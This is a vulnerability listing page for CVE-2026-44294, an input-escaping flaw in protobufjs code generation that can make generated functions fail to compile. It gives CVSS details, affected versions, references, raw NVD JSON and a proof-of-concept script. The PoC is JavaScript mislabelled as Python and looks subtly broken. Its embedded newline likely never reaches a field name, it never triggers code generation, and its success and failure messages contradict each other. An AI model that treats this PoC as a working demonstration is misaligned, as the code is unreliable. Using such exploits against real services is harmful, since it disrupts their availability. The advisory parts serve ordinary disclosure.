CVE-2026-44294

Description

protobufjs compiles protobuf definitions into JavaScript (JS) functions. Prior to 7.5.6 and 8.0.2, protobufjs generated JavaScript property accessors from schema-controlled field and oneof names. Certain control characters in field names were not escaped before being embedded into generated function bodies. A crafted schema or JSON descriptor could therefore cause generated encode, decode, verify, or conversion functions to fail during compilation. This vulnerability is fixed in 7.5.6 and 8.0.2.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:* - VULNERABLE

protobufjs < 7.5.6

protobufjs >= 8.0.0, < 8.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-44294
// This PoC demonstrates the failure to compile when a control character is present in the field name.

const protobuf = require("protobufjs");

// A crafted schema with a newline character in the field name
const maliciousSchema = `
    syntax = "proto3";
    package test;
    message TestMessage {
        string malicious_field\n = 1; // Control character \n embedded
    }
`;

try {
    // Attempt to parse and compile the schema
    const root = protobuf.parse(maliciousSchema).root;
    const TestMessage = root.lookupType("test.TestMessage");
    
    // This compilation step will fail due to unescaped character
    console.log("Schema compiled successfully (Vulnerable if this prints)");
} catch (e) {
    console.error("Exploit successful: Compilation failed due to unescaped control character.");
    console.error(e);
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44294
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44294
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44294/
[4] VulDB https://vuldb.com/cve/CVE-2026-44294
[5] https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-2pr8-phx7-x9h3

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44294", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:56.380", "lastModified": "2026-05-13T20:55:23.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "protobufjs compiles protobuf definitions into JavaScript (JS) functions. Prior to 7.5.6 and 8.0.2, protobufjs generated JavaScript property accessors from schema-controlled field and oneof names. Certain control characters in field names were not escaped before being embedded into generated function bodies. A crafted schema or JSON descriptor could therefore cause generated encode, decode, verify, or conversion functions to fail during compilation. This vulnerability is fixed in 7.5.6 and 8.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "7.5.6", "matchCriteriaId": "BC190A12-59A1-4DEF-A65D-E4216ED5B807"}, {"vulnerable": true, "criteria": "cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.2", "matchCriteriaId": "734292AA-F3B2-4E3E-9FA2-0EBA7AB0BB45"}]}]}], "references": [{"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-2pr8-phx7-x9h3", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}